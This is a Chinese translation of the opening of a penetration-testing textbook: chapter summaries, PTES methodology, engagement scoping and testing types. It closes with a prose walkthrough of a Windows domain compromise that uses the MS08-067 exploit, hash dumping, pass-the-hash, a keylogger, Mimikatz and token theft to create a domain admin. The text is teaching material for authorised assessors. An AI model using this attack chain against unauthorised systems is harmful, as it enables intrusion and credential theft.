Python-渗透测试学习指南(全)

Python 渗透测试学习指南(全)

原文:annas-archive.org/md5/A1D2E8B20998DD2DB89039EE037E2EAD

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

欢迎阅读《用 Python 学习渗透测试》。本书采用了一种完全不同的方法来教授渗透测试和 Python 脚本编写,而不是强调如何创建与市场上当前工具相同的脚本,或者强调可以编写的特定类型的利用。我们将探讨如何进行参与,并了解脚本如何适用于评估以及当前工具满足需求的地方。这种方法将教会你不仅如何从编写入门脚本到多线程攻击工具,还将教会你如何像专业人士一样评估组织,而不管你的经验水平如何。

本书涵盖的内容

第一章,“理解渗透测试方法论”,强调了评估者用来评估组织安全策略抵抗力的具体策略、技术和程序。它还涵盖了模拟恶意行为者和常用工具。

第二章,“Python 脚本的基础知识”,帮助转型程序员和新评估者掌握 Python 语言的技能,最终编写有用的评估者脚本。

第三章,“使用 Nmap、Scapy 和 Python 识别目标”,建立了基础网络数据包和协议知识,然后直接转化为编写利用 Nmap 和 Scapy 库自动化目标识别的 Python 脚本。

第四章,“用 Python 执行凭证攻击”,展示了攻击者获得资源初始访问权限的最常见方式,而不是钓鱼。它侧重于准确瞄准组织的行业领先实践。

第五章,“用 Python 利用服务”,介绍了如何识别利用以获得初始访问权限,如何研究后利用技术以获得特权访问权限,以及如何利用自动化脚本访问其他系统。

第六章,“用 Python 评估 Web 应用程序”,是围绕自动分析 Web 应用程序弱点的技术的高潮。这是 Python 可以用来改进复杂应用程序评估的地方,使用了链式技术。

第七章,“用 Python 破解周界”,强调了一些真实恶意行为者和评估者都使用的常见技术,以获取对组织半受信任和受信任网络的访问权限。这是使用包括 Python 在内的工具和技术,并依赖于当前行业实践。

第八章,“用 Python、Metasploit 和 Immunity 进行利用开发”,强调了评估者如何研究、编写和更新基本利用和 Metasploit 模块,以捕获在相关系统上使用开发不良、过时或不受支持的软件的风险。

第九章,“用 Python 自动化报告和任务”,强调了评估者需要尽可能节省评估时间,通过创建 Python 脚本自动化安全工具结果和输出的分析,包括可扩展标记语言(XML),以提供可用的报告格式。

第十章,为 Python 工具添加永久性,是最后一章。它介绍了您如何更新脚本以利用高级功能,例如日志记录、多线程和多进程,以创建行业标准的工具。

您需要为此书做好准备的东西

您最需要的是学习的意愿和提高能力的动力。为了支持这些,您需要一个能够支持多个虚拟机(VM)的系统,这些虚拟机在行业标准的虚拟化程序中运行,例如 VMware Workstation(最新版本)或 Virtual Box。首选解决方案是在最新版本的 Windows 上运行 VMware Workstation,例如 Windows 7。需要互联网连接,以便您下载必要的支持库和软件包。每个详细的软件包和库将在每章的开头列出。

这本书适合谁

如果您是一名具有不同操作系统知识和渗透测试概念的安全专业人员或研究人员,并且希望在 Python 方面扩展知识,那么这本书非常适合您。

约定

在本书中,您将找到一些区分不同信息类型的文本样式。以下是一些这些样式的示例及其含义的解释。

文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄显示如下:“我们可以通过使用include指令包含其他上下文。”

代码块设置如下:

try:
    import docx
    from docx.shared import Inches
except:
    sys.exit("[!] Install the docx writer library as root or through sudo: pip install python-docx")

任何命令行输入或输出都是这样写的:

echo TEST > my_wordlist

新术语重要单词以粗体显示。例如,屏幕上看到的单词,例如菜单或对话框中的单词,会以这种形式出现在文本中:“我们通过Exploits Descending 的数量来组织漏洞,以找到可利用的漏洞。”

注意

警告或重要提示会出现在这样的框中。

提示

提示和技巧会以这种形式出现。

第一章:理解渗透测试方法论

在急于行动之前,在本章中,我们将实际定义渗透测试是什么,以及不是什么,渗透测试执行标准PTES)是什么,以及将使用的工具。这些信息将作为未来参与的指南。本章将帮助指导新的评估人员和希望建立自己参与的组织。如果你想直接进入代码和细节,我建议跳到第二章,Python 脚本的基础。不过,我要提醒你,阅读本章的好处在于它将提供一个框架和思维模式,帮助你区分一个脚本小子和一个专业人士。所以,让我们从渗透测试是什么开始。

最重要的是,这些工具和技术只能在您拥有或获得运行这些工具的许可的环境中执行。永远不要在未经授权的环境中练习这些技术;请记住,未经许可进行渗透测试是非法的,你可能会因此入狱。

注意

要练习初始章节中列出的内容,请安装一个虚拟化套件,如 VMware Player (www.vmware.com/products/player) 或 Oracle VirtualBox (www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html)。创建当前版本的 Kali Linux (www.kali.org/downloads/)、Samurai Web Testing Framework (samurai.inguardians.com/)和 Metasploitable (www.offensive-security.com/metasploit-unleashed/Requirements)的虚拟机(VM)。您可以使用 Kali 系统中的 Metasploitable 盒子对这些进行测试。提供的最后一个链接中有许多与这些工具相关的教程和配置说明;如果每章需要额外的工具,它们将在那里进行突出显示。

渗透测试概述

对于渗透测试的概念存在着巨大的误解。即使是最近进入该领域的专业人士也普遍存在这种误解。新的渗透测试人员或要求进行渗透测试的专业人士经常说,这些测试证明了漏洞的可利用性,环境易受攻击的程度,或者只是漏洞的存在。这种误解会在项目的范围、来源和执行中产生实际影响。此外,这种错误的看法包括认为渗透测试将找到所有的漏洞,每次都能找到未知的零日漏洞,而且无论采取了什么控制措施,所有目标都将始终得到满足。

渗透测试是评估组织的安全策略保护关键数据免受恶意行为者行为影响的实践。安全策略是组织的全面信息安全计划。它侧重于维护组织关键数据和资源的机密性、完整性和可用性。这是通过使用人员、流程和技术的组合来将风险降低到可接受的水平。渗透测试的第一种和第二种定义之间的区别是天壤之别。

第一个定义仅关注漏洞;这意味着人们期望评估者将执行的活动与利用或发现漏洞或简单的配置错误有关。它没有考虑到组织可能存在的与政策、流程或不安全关系相关的不良做法。这些先入为主的观念经常对组织和新评估者都产生重大影响。

组织领导不会制定与突破与关键数据存储库相关的访问控制或识别关键数据位置相关的目标。最初还会有一种信念,即入侵保护系统IPS)和入侵检测系统IDS)是防止妥协的关键;所有经验丰富的评估者都知道这不是真的。此外,评估可能没有以提供现实结果的方式进行范围界定。这种误解最具破坏性的结果是,组织可能无法确定评估者是否缺乏执行所需的参与所必需的技能。

注意

同样,新的评估者错误地认为漏洞管理解决方案VMS)如 Nexpose、Nessus、Qualys 或其他解决方案将识别进入环境的途径。这些工具可能会突出系统的入侵途径,但误报率和真负率很高。误报是指将某物标识为有漏洞,但实际上并没有。误报的相反是真负,这意味着将某物标识为安全,但实际上是有漏洞的。

如果漏洞不在数据库中,则系统将无法识别可能授予访问权限的漏洞。VMS 不会突出与不良做法或流程相关的链接攻击,这将被归类为弱点或漏洞。使用这些工具进行渗透测试会使它们变得非常嘈杂,并鼓励评估者模拟相对过时的攻击。

大多数恶意行为者利用最容易的路径,通常与著名的 MS08-067 或 MS06-40 等远程代码利用无关。相反,评估者应该退一步,寻找可能提供不被注意的访问权限的不安全关联和配置。大多数资深评估者在渗透测试期间不使用 VMS 工具,而是专注于手动评估环境。

许多这些误解直接与其他类型的参与相关。这来自其他安全评估被宣传为渗透测试,或者来自人们运行或接收这些参与的结果。在接下来的部分中,列举了一些经常被误认为是渗透测试的评估样本。这应该足以突出实际渗透测试与其他安全评估和活动之间的差异。

了解渗透测试的本质

其他类型的评估和活动经常被宣传或误认为是渗透测试。这些类型的参与包括漏洞评估、大规模逆向工程项目和黑客攻击。让我们依次讨论每一种,以便了解渗透测试的定位。

漏洞评估

漏洞评估(VA)使用 VMS 扫描漏洞。好的 VA 然后使用评估者消除误报,之后可以根据业务影响和利用可能性调整发现的实际风险评级。通常安全顾问或渗透测试人员执行这些评估,这可能需要实际利用这些漏洞来进行概念验证。这种类型的评估非常适合展示组织在执行修补和部署资产时的表现。关键在于这些类型的评估不是专注于从恶意行为者的角度获取对关键数据的访问权限,而是与发现漏洞相关。

逆向工程参与

逆向可能是渗透测试的一部分,但在今天比过去要少得多。第八章,“使用 Python、Metasploit 和 Immunity 进行利用开发”,将更详细地讨论这一点,因为这里将描述实际的利用开发。当前的渗透测试可能包括利用开发,但这是为了创建与自制代码相关的概念验证,并获取对可能存储数据的关键系统的访问权限。

相比之下,在大规模的逆向工程参与中,评估者试图证明应用程序整体易受逆向工程的影响,以及与源代码、编译和相关库相关的弱点。这些类型的参与更适合逆向工程师,他们花时间识别常见的攻击链和方法来破坏应用程序,而不是获取对关键数据的访问权限。在这个特定领域的经验水平是广泛的。通常,许多评估者从渗透测试转向这种特定的技能集,他们全职从事逆向工程。

黑客

黑客不是评估,而是直接利用可利用的漏洞;它可能与恶意活动有关,也可能是为了研究而进行。黑客的目的不是获取对关键数据的访问权限,而是纯粹破解漏洞。黑客有许多定义,通常与渗透测试直接相关,但与黑客相关的目标没有具体或明确的目标。现在已经勾勒出了渗透测试和其他活动之间的一些重大区别,可以突出实现目标的方法论。

评估方法学

与渗透测试相关的评估方法有多种。一些方法学的例子包括开放源代码安全测试方法手册(OSSTMM)、用于 Web 评估的开放 Web 应用安全项目(OWASP)、国家标准与技术研究所(NIST)的特别出版物 800-115 技术指南信息安全测试和评估,以及 PTES。我们在本书中将专注于的方法学是 PTES,因为它是新评估者的可靠资源。

渗透测试执行标准

PTES 有七个不同的阶段,即预交互、情报收集、威胁建模、漏洞分析、利用、后利用和报告。每次参与都会在某种程度上遵循这些阶段,但经验丰富的评估者将会顺利且相对无缝地从一个阶段过渡到下一个。使用方法学的最大好处是允许评估者全面和一致地评估环境。一致性评估意味着几件事情:

  • 评估者不太可能错过重大漏洞

  • 它可以减轻导致评估者花费过多时间集中在不会推动参与前进的区域的隧道视野

  • 这意味着无论客户或环境如何,评估者都不会带着成见去参与

  • 评估者每次都会提供相同水平的能力给一个环境

  • 每次客户都会收到高质量的产品,评估者错过细节的机会很少

所有方法或框架都提供这些好处,但是 PTES 像 OWASP 一样,对于新的评估者有额外的好处。在 PTES 中,有许多技术指南与评估者可能遇到的不同环境相关。在这些技术指南中,有关于如何使用行业标准工具来处理和评估环境的建议。

需要注意的是,技术指南不是操作手册;它们不会为评估者提供从头到尾执行参与的手段。只有经验和对环境的接触才能为评估者提供处理他/她遇到的大多数情况的手段。应该指出,没有两个环境是相同的;每个组织、公司或企业都有细微差别。这些差异意味着即使是非常有经验的评估者也会遇到困难的时刻。当标准的利用方式不起作用时,测试人员可能会有局限性;坚持方法论将防止这种情况发生。

在高度安全的环境中,评估者通常需要变得有创意,并链接利用来实现设定的目标。我的一位老队友曾经优雅地定义了创意和复杂的利用方式:“它们是渗透测试人员绝望的表现。”这个幽默的类比也突出了评估者何时会提升自己的技能。

评估者如何知道何时需要执行这些复杂的利用方式,是通过知道所有简单的方法都失败了;正如真正的攻击者会选择最不费力的路径,评估者也应该如此。只有在这种情况下失败时,评估者才应该开始提升必要的技能水平。作为评估者,你正在评估一个环境抵抗恶意行为的能力。

这些保护措施就像建筑中的砖块,随着时间的推移而建立,形成了一种安全的姿态。就像美式橄榄球一样,如果一个组织没有掌握强大防御的基本组成部分,它就无法抵御花招。因此,我们作为评估者应该从底层开始,逐步解决问题。

这并不意味着一旦找到一条路径,评估者就应该停下来;他/她应该确定关键数据位置,并证明这些数据可以被破坏。评估者还应该指出真正的攻击者可能采取的其他路径来达到关键数据。能够识别与破坏关键数据相关的多条路径和方法,再次需要一种系统的方法。七个阶段是控制参与流程的一个例子。

预先交互

PTES 的第一个阶段是所有预参与工作,毫无疑问,这是一个顺利和成功参与的最重要阶段。在这个阶段采取任何捷径或过快完成这个阶段都会对评估的其余部分产生重大影响。这个阶段通常是由一个组织创建一个评估请求开始的。通常请求的评估示例可以分为以下几个广泛的类别:

  • 网络应用程序

  • 内部网络

  • 外部网络

  • 物理

  • 社会工程电话

  • 网络钓鱼

  • 网络电话VOIP

  • 无线

  • 移动应用程序

组织可能会联系评估员目录或提供招标文件RFP),其中详细说明了环境类型、所需评估和所期望交付的内容。根据这份招标文件,多家评估公司或个人有限责任公司LLC)将对与环境详细信息相关的工作进行竞标。通常,最符合所请求工作、价格、相关范围、时间表和能力的投标方将赢得该工作。

工作声明SOW)通常是参与函EL)或合同的一部分,其中详细说明将要执行的工作和最终产品,同时包含所有必要的法律细节。一旦签署了 EL,就可以开始对范围进行微调。通常,这些讨论是评估团队第一次遇到范围蔓延。这是客户可能试图添加或扩展承诺的工作水平以获得比承诺支付更多的情况。这通常不是故意的,但在罕见情况下,这是由于招标文件的撰写者、评估员提出的问题的答复以及最终的 EL 或 SOW 之间的沟通不畅。

通常,可以批准对工作进行小的调整或延伸,但较大的要求会被推迟,因为这可能被视为无偿工作。然后,最终范围将被记录下来,用于将要执行的参与部分。有时,单个 EL 将涵盖多个参与部分,并且可能需要进行多次后续讨论。在这个阶段要记住的重要事情是,作为评估员,你正在与客户合作,我们应该乐于助人,灵活地帮助客户实现其目标。

除了在初始参与范围界定期间产生的范围蔓延外,在执行参与过程中通常还存在客户增加范围的机会。这通常是客户在测试开始后要求工作延期或额外资源测试。对范围的任何修改不仅应该经过仔细考虑,因为涉及资源和时间,还应该以某种书面形式完成,例如电子邮件、签署和授权的信函,或其他不可否认的请求确认。

最重要的是,任何范围调整都应由有权做出此类决定的人员完成。这些考虑都是为了保持参与的合法性和安全性。签署这些文件的人必须了解与满足截止日期、评估特定环境和使利益相关者满意相关的风险。

在这个特定阶段定义了参与的目标,以及可能需要其他方面批准的审批。如果公司将其环境托管在云提供商基础设施或其他共享资源上,则还需要从该组织获得批准。通常,批准活动的所有方通常需要测试的开始和结束日期,以及源互联网协议IP)地址,以便他们可以验证活动并非真正恶意。

评估开始时必须确定的其他事项是正常报告评估和紧急情况的联系人。如果评估员的活动被认为已经使某个资源下线,评估员需要立即与联系人跟进。此外,如果发现了关键漏洞,或者认为某个资源已经被真正的恶意行为者入侵,评估员应尽可能立即联系主要联系人,如果不行,则联系紧急联系人。

这种联系应该在评估者捕获了必要的概念证明后进行,以表明资源可能已经被入侵或存在关键漏洞。在联系之前完成概念证明的原因是,报告这些问题通常意味着资源被下线。一旦资源下线,评估者可能无法跟进并证明他/她在最终报告中所做的陈述。

注意

概念证明通常是特定数据类型、事件序列、暴露、利用或妥协的屏幕截图。

除了报告意外和关键事件外,还应安排定期状态会议。这可以是每周、每天,或更频繁或更少频繁,具体取决于客户的要求。状态会议应涵盖评估者已经完成的工作、计划要做的工作以及可能影响最终报告交付的时间表上的任何偏差。

与产品和最终报告交付相关的是,必须有一种安全的方法来交付参与的详细信息。平衡来自以下因素,即客户的能力和知识水平、评估团队可用的解决方案、数据可以做到多安全以及客户的能力和要求。最好的两个选择是安全交付服务器或Pretty Good PrivacyPGP)加密。有时,这些选项不可用,或者其中一方无法实施或使用它们。在这一点上,应确定其他形式的数据保护。

这里有一个重要的警告,即受密码保护的文档、便携式文档格式和 zip 文件通常没有强大的加密形式,但它们总比没有好。这些仍然需要密码来回传以打开数据。密码应尽可能通过其他方法或与实际数据不同的渠道传输,例如,如果数据通过电子邮件发送,密码应通过电话、短信或信鸽提供。在后面的章节中,当我们讨论针对网络界面的密码喷洒攻击和突破外围的方法时,将突出与此相关的实际风险。预参与讨论的最后一部分涉及测试将如何进行:白盒、灰盒或黑盒。

白盒测试

白盒测试也被称为清晰盒测试或水晶盒测试。这个术语可以是这三者之一,但基本上意味着一个知情的攻击者或知情的内部人员。关于适当的术语有多种争论,但归根结底,这种类型的评估突出了与恶意内部人员或攻击者有关的风险,他们可以访问到显著暴露的信息。评估者提供了关于网络上的内容、运行方式甚至潜在弱点(如基础设施设计、IP 地址和子网)的详细信息。在极短的时间内,这种类型的评估非常有益。从完全暴露的信息或完全拉开帷幕的情况中退后一步是灰盒格式。

灰盒测试

遵循灰盒格式的评估者提供了基本信息。这包括目标、可接受测试的范围以及操作系统或嵌入式设备品牌。组织通常还会列出已经部署的入侵检测系统/入侵防御系统,以便如果评估者开始看到错误的结果,他/她可以确定原因。灰盒评估是最常见的评估类型,组织提供一些信息以提高结果的准确性并增加反馈的及时性;最终,这可能会降低参与成本。

黑盒测试

评估员将遇到的黑盒接触数量大致与白盒接触相同,它们是光谱的完全相反的一面。评估员除了要评估的组织之外,不会得到任何信息。评估员将从广泛的开源情报OSINT)收集中识别资源。只有高级评估员才能执行这些类型的接触,因为他们必须确定目标在外部是活动的区域,并且在内部要保持极度安静。

目标始终在初始研究后由请求组织验证为经授权或拥有的,然后才进行外部评估的测试。黑盒测试通常是双盲测试的一部分,双盲测试也被称为不仅是对其环境进行测试,还是对组织的监控和事件响应能力的评估。

双盲测试

双盲测试通常是黑盒样式接触的一部分,但它也可以与灰盒和白盒接触一起进行。灰盒和白盒接触的关键在于,测试期间的控制、攻击向量和其他信息要比从防御团队保密困难得多。被视为双盲的接触必须在执行接触之前得到很好的建立,这应该包括事后讨论和验证检测到了什么具体活动以及应该检测到了什么。这些类型的接触的结果非常有助于确定防御团队的工具调整得有多好以及流程中的潜在漏洞。只有在组织具有成熟的安全姿态时,才应执行双盲测试。

情报收集

这是 PTES 的第二阶段,如果组织希望评估团队确定其外部暴露,这一点尤为重要。这在与外部边界测试相关的黑盒或灰盒接触中非常常见。在接触的这个阶段,评估员将使用诸如美国互联网编号注册处ARIN)或其他地区注册处、信息库查询工具(如 WhoIs、Shodan、Robtex)、社交媒体网站以及 Recon-ng 和Google 黑客数据库GHDB)等注册处。

除了外部评估,此阶段收集的数据非常适合用于建立社会工程和物理接触的档案。关于组织及其人员的发现的组件,将为评估员提供与员工互动的手段。这样做是希望员工会透露信息或以假借名义提取关键数据。对于技术接触,对工作网站、公司网站、地区博客和校园地图的研究可以帮助建立字典攻击的单词列表。特定的数据集,如当地的体育队、球员姓名、街道名称和公司首字母缩写,通常作为密码非常受欢迎。

注意

韦氏词典将“借口”定义为所谓的目的或动机,或者为了掩盖真正意图或事态而假装的外表。

像 Cewl 这样的工具可以用来从这些网站上提取单词,然后可以使用 John the Ripper 对数据进行排列,进行字符替换。这些列表对于针对登录界面的字典攻击或破解从组织中提取的哈希非常有用。

注意

排列在密码攻击和接口密码猜测攻击中非常常见。韦氏词典将“排列”定义为某物存在或可以排列的许多不同方式或形式之一。

对评估者有利的其他细节包括组织在招聘广告、员工 LinkedIn 个人资料、技术合作伙伴和最近的新闻文章中列出的技术。这将为评估者提供关于他/她可能遇到的资产类型和即将到来的主要升级的情报。这使得现场工作可以更有针对性,并且在执行之前可以进行更深入的研究。

威胁建模

PTES 的第三阶段是威胁建模,对于大多数参与来说,这个阶段被跳过了。威胁建模更常见地是作为一个单独的参与的一部分,用于列举组织可能面临的潜在威胁,基于多种因素。这些数据用于帮助建立案例研究,以识别真正的威胁,这些威胁会利用组织的漏洞转化为风险。通常,这些案例研究用于量化特定的渗透测试,以确定安全策略的坚定程度以及未被考虑的因素。

研究的组成部分扩展到标准情报收集之外,包括相关业务、业务模式、第三方、声誉和与见解性主题相关的新闻文章。除了已发现的内容外,总会有一些评估者无法确定的因素,这是由于时间、暴露和已记录的事实。威胁建模在很大程度上是理论性的,但它是基于发现的指标和市场上过去的事件。

当威胁建模作为渗透测试的一部分时,情报收集阶段和威胁建模阶段的细节被回溯到预参与阶段。确定的细节有助于建立一种参与并揭示评估者应该冒充的恶意行为者的类型。组织面临的常见威胁类型如下:

  • 国家

  • 有组织犯罪

  • 黑客

  • 脚本小子

  • 骇客活动分子

  • 内部人员(有意或无意)

在评估威胁时,始终要记住以下几点,这些威胁中的任何一种都可能是内部人员。只需一封钓鱼邮件,或者一个不满的员工公布凭据或访问,组织就可能会面临威胁。内部人员可能无意中提供访问权限的其他方式包括技术论坛、支持团队和博客。

技术和行政支持团队经常在博客、论坛和其他地方发布配置或设置以寻求帮助。每当这种情况发生时,内部数据就会暴露给外部,而且通常这些配置包含加密或未加密的凭据、访问控制或其他安全功能。

那么,这是否意味着每个组织都受到内部人员的威胁,而经验范围可能不仅限于实际内部人员?内部人员也是最难以减轻的威胁。大多数渗透测试不包括模拟内部人员的凭证。根据我的经验,只有具有成熟安全姿态的组织才会这样做。通常只有通过多种安全评估,包括通过渗透测试模拟多种威胁,才能达到这种状态。

大多数组织不支持内部凭证评估,除非他们经历了多次非凭证参与,发现已经得到了缓解。即使是这样,也只有那些有强烈愿望模拟真实威胁并得到董事会支持的组织才会这样做。除了内部人员,其他威胁可以通过查看多种因素来评估;过去事件的关联可以通过查看 Verizon 数据泄露调查报告DBIR)找到一个例子。

Verizon DBIR 使用报告的妥协并汇总结果,按市场归因于最常见的事件类型。然而,这些信息应该放在上下文中,因为这只是针对被捕获或报告的事件。通常,被捕获的事件可能不是最初导致后续妥协的方式。

市场的威胁每年都在变化,因此,一年创建的报告的结果对于下一年的研究是没有用的。因此,任何对这些信息感兴趣的读者都应该从www.verizonenterprise.com/DBIR/下载当前版本。此外,一定要选择基于其他相关信息和报告的额外研究来模拟哪个向量。基于单一形式的研究的假设执行评估是不专业的。

大多数时候,组织已经知道他们需要或想要什么类型的参与。这个阶段的互动和描述的研究通常是行业专家所要求的,而不是新的评估者。因此,如果你开始做这项工作时,看到很少有要求包括这个工作阶段的评估,至少最初不要感到惊讶。

漏洞分析

直到这个阶段,大多数,如果不是所有的研究都没有触及组织资源;相反,细节是从其他存储库中提取的。在 PTES 的第四阶段,评估者将要确定进一步研究测试的可行目标。这直接涉及端口扫描、横幅抓取、暴露的服务、系统和服务响应以及版本识别。这些项目虽然看似微小,但却是获取对组织的访问的支点。

从技术角度成为一名优秀的评估者的秘诀就在于这个阶段。原因是评估者大部分时间都在这里度过,特别是在职业生涯的早期。评估者研究暴露了什么,哪些漏洞是可行的,以及可以用什么方法来利用这些系统。花了多年时间做这个工作的评估者通常会在这个阶段加速,因为他们有经验找到目标攻击和获取访问的方法。不要被这个所迷惑,因为首先,他们通过经验花了很多年时间整理这些数据,其次,总会有情况,即使是一名优秀的评估者也会在这个阶段花费数小时,因为一个组织可能有独特或强化的姿态。

渗透测试的伟大秘密通常不会在电影、杂志和/或书籍中传达,即渗透测试主要是研究、磨砺和撰写报告。如果我必须估计一名优秀的新评估者在参与过程中花费的平均时间百分比,70%将用于研究或磨砺以找到适用的目标或可行的漏洞,15%用于与客户的沟通,10%用于撰写报告,5%用于利用。尽管如此,随着评估者获得更多经验,这些百分比会发生变化。

大多数失败或遭遇糟糕的评估者都是因为在各个阶段上推进,而不是执行有能力的研究。在这里花费所需的时间的好处是与利用相关的下一个阶段将非常迅速。评估者和恶意行为者都知道的一件事是,一旦在组织中占据了立足点,基本上就结束了。第三章使用 Nmap、Scapy 和 Python 识别目标详细介绍了在这个阶段完成的活动。

利用

第五阶段是利用阶段,这才是真正开始有趣的地方。大多数章节都集中在前一阶段的漏洞分析,或者这个阶段。这个阶段是所有之前工作的结果,实际上获得对系统的访问权限。获得系统访问权限的常见术语是 popped、shelled、cracked 或 exploited。当您听到或读到这些术语时,您就知道自己应该获得对系统的访问权限。

利用不仅仅意味着通过一段代码、远程利用、创建利用程序或绕过防病毒软件来访问系统。它也可能是直接使用默认或弱凭证登录系统。尽管许多新评估者认为这不太理想,但经验丰富的评估者会尝试找到通过本机协议和访问方式访问主机的方法。这是因为本机访问不太可能被检测到,而且它更接近恶意行为者可能正在执行的真实活动。

如果您是新手渗透测试人员,在利用过程中会有一些特定的时刻让您非常兴奋,这些通常被视为目标:

  • 第一次获得 shell

  • 第一次利用 OWASP 前 10 名漏洞

  • 第一次编写自己的利用程序

  • 第一次发现零日漏洞

这些所谓的目标通常是评估者经验的衡量标准,甚至在组织团队内部也是如此。在实现了这些首次利用目标之后,您将会努力提升自己的技能水平。

一旦您获得对系统的访问权限,您需要利用这种访问权限。在观察资深专业人员和新的评估者之间的区别时,不是利用,而是后期利用。原因在于初始访问并不能让您获得数据,而后续的枢轴和后期利用通常可以。

注意

枢轴是在评估过程中利用新位置来评估通常无法访问的资源的方法。大多数人将枢轴等同于在 Metasploit 中设置路由,但它也与从不同的受损设备攻击或评估资源有关。

后期利用

在所有阶段中,这是评估者花费时间的变化。新评估者通常在第四阶段或漏洞分析阶段花费更多时间,而经验丰富的评估者在这里花费了大量时间。第六阶段也被称为后期利用阶段;权限升级、寻找凭证、提取数据和枢轴都在这里完成。

这是评估者有机会通过证明所达到的访问级别、访问的关键数据的数量和类型,以及绕过的安全控制来证明对组织的风险。所有这些都是后期利用阶段的典型特征。

就像第五阶段一样,第六阶段有特定的事件通常是新评估者的目标。就像利用目标一样,一旦完成了这些后期利用目标,您将会追求在这个安全专业领域中更复杂的成就。

以下是新评估者和有能力的评估者之间的衡量标准的例子:

  • 第一次在 Windows、Linux、Unix 或 Mac 操作系统上手动提升权限

  • 第一次获得域管理员访问权限

  • 第一次修改或生成 Metasploit 模块

后期利用阶段包括与提升权限、提取数据、配置文件、创建持久性、解析用户数据和配置以及清理相关的活动。在系统被访问后执行的所有活动,并转移到系统检查阶段都与后期利用有关。一旦评估结束,所达到的所有访问级别、访问的关键数据和绕过的安全控制都会在一份报告中得到突出显示。

报告

与渗透测试相关的最重要阶段不仅仅是 PTES,还有报告。在一天结束时,您的客户要求并支付的是一份报告。在参与结束时,他/她能拿到手的只有报告。报告也是将评估员在环境中确定的风险转化为语言的工具。

一份好的报告应包括一份针对首席套房人员和/或咨询委员会的执行摘要。它还应包括一个故事情节,解释在参与过程中所做的事情,实际的安全发现或弱点,以及组织已建立的积极控制。每个注意到的安全发现都应在可能的情况下包括一个概念验证。

概念验证就是这样;通过利用来证明存在安全状态的例外。因此,每个确定的发现都应包括与所进行的活动相关的屏幕截图,例如弱密码、被利用的系统和访问的关键数据。

与组织中确定的安全发现一样,任何积极的发现都需要被记录和描述。积极的发现有助于告诉组织实际上对模拟恶意行为产生了什么影响。它还告诉组织应该在哪里进行投资,因为报告和参与提供了它正在起作用的有形证据。

一个示例参与

以下部分突出了评估员如何在高层次上实现访问、提升权限,并可能获得对关键数据的访问。这个示例应该为本章和接下来的章节涵盖的工具提供背景。需要注意的是,PTES 的第四、五和六阶段,即漏洞分析、利用和后利用阶段,是重复的。这些阶段中的每一个都将在评估过程中执行。为了更好地突出这一点,以下情景是今天新评估员进行的非常常见的利用训练,显示了使用了哪些工具。这不是为了展示如何自行完成这些命令,而是为了突出阶段流程,以及每个阶段使用的工具可能是模糊的。

在进行评估时,评估员将识别漏洞,根据需要利用它们,然后在利用或后利用后提升权限并提取数据。有时,单个操作可能被视为漏洞分析和利用的组合,或利用和后利用阶段的活动。作为重复步骤的示例,评估员识别了一个 Windows XP 主机,并确定它是否存在漏洞 MS08-067,然后使用相关的 Metasploit 模块ms08_067对其进行利用。评估员将提升权限,然后使用smart_hashdump模块从被利用系统中提取哈希。然后,评估员将从提取的哈希中复制本地管理员哈希,该哈希与存储在pwdump哈希格式中的安全标识符SID)500 相关联。

评估员将扫描该区域的所有主机,并使用nmap工具确定主机是否开放端口 445。这些可能是传递哈希PtH)攻击的可行目标,但评估员必须确定这些主机是否具有相同的本地管理员密码。因此,评估员通过使用 Unix/Linux 工具 cat、grep 和 cut 解析输出,创建一个具有开放端口 445 的 IP 地址列表服务器消息块SMB)通过 IP。有了这个列表,评估员使用SMB_login Metasploit 模块对新创建的列表中的所有主机执行 SMB 登录,使用本地管理员哈希,并将域设置为WORKGROUP

每个响应成功登录的主机都将是 PtH 攻击的可行目标。 评估员必须找到具有新信息或关键数据的主机,这将有利于推进参与。 由于评估员通过 Windows XP 主机在网络上建立了立足点,他/她只需要找出域管理员是谁以及他们在哪里登录。

因此,他/她将使用enum_domain_group_users Metasploit 模块从 Windows XP 主机所连接的域中查询域管理员组的成员。 评估员随后可以使用名为loggedin_users的 community Metasploit 模块或名为psexec_loggedin_usersenum_domain_users的内置模块来确定域管理员登录的位置。 通过smb_login模块从主机收到成功登录消息的主机将使用任一模块和相关域名进行测试。 在其中响应具有一个域管理员用户名的主机将是最佳的攻击位置。 评估员随后可以使用psexec Metasploit 模块执行 PtH 攻击并在该主机上放置有效载荷。 这将使用相同的本地管理员哈希和域设置为WORKGROUP进行。

一旦在该系统上建立了立足点,评估员就可以确定域管理员当前是否已登录到系统,或者过去是否曾登录过。 评估员可以查询系统并识别当前登录的用户,以及他们是否活跃。 如果用户当前在会话中活跃,评估员可以使用 Metasploit 设置键盘记录器,并使用 smartlocker 模块锁定屏幕。 过去,这曾被分解为多个模块,但今天,我们更加高效。 当用户解锁屏幕时,他/她将输入帐户的凭据,然后将其提供给评估员。

如果用户当前未活跃,评估员可以尝试使用 Mimikatz 等工具从内存中提取凭据,通过将该功能加载到 Meterpreter 会话中并运行wdigest。 如果内存中没有凭据,评估员可以尝试通过加载 Incognito 工具到 Meterpreter 中并使用load incognito命令窃取仍在内存中的缓存凭据的令牌来冒充用户。 利用这种访问权限,评估员随后可以在域上创建一个新用户,然后将该用户添加到域控制器上的域管理员组中。 为了确定适用的域控制器,评估员将 ping 域名,该域名将响应 DC 的 IP 地址。

最后,评估员可以使用add_user命令和add_group_user将其新的恶意用户添加到指向 DC IP 的域管理员组中。 这个域管理员可能会在网络周围提供额外的访问权限,或者具有创建和/或修改其他帐户的能力,并根据需要提供相关访问权限。 从这些步骤中可以看出,有多个重复的三个阶段的示例。 通过以下列表,了解每个活动如何适用于特定阶段:

  1. 识别 Windows XP 主机(漏洞分析)。

  2. 确定 Windows XP 主机是否容易受到 MS08-067 的攻击(漏洞分析)。

  3. 使用 Metasploit 的 MS08-067 漏洞攻击 Windows XP 主机(利用)。

  4. 从 Windows XP 主机中提取哈希(后期利用)。

  5. 扫描所有其他主机,以查找 SMB over IP 或端口 445(漏洞分析)。

  6. 使用本地管理员哈希执行 SMB 登录以识别易受攻击的主机(漏洞分析/利用)。

  7. 查询域控制器,以查找 Windows XP 系统上域管理员组的成员(后期利用)。

  8. 识别具有与 Windows XP 主机相同的本地管理员哈希的系统上已登录的用户,以确定域管理员的登录位置(利用/后期利用)。

  9. 对已登录的域管理员进行 PtH 攻击(利用)。

  10. 确定域管理员在该计算机上的活动状态(后期利用):

  • 如果当前已登录,请设置键盘记录器(后期利用)

  • 锁定屏幕(利用/后期利用)

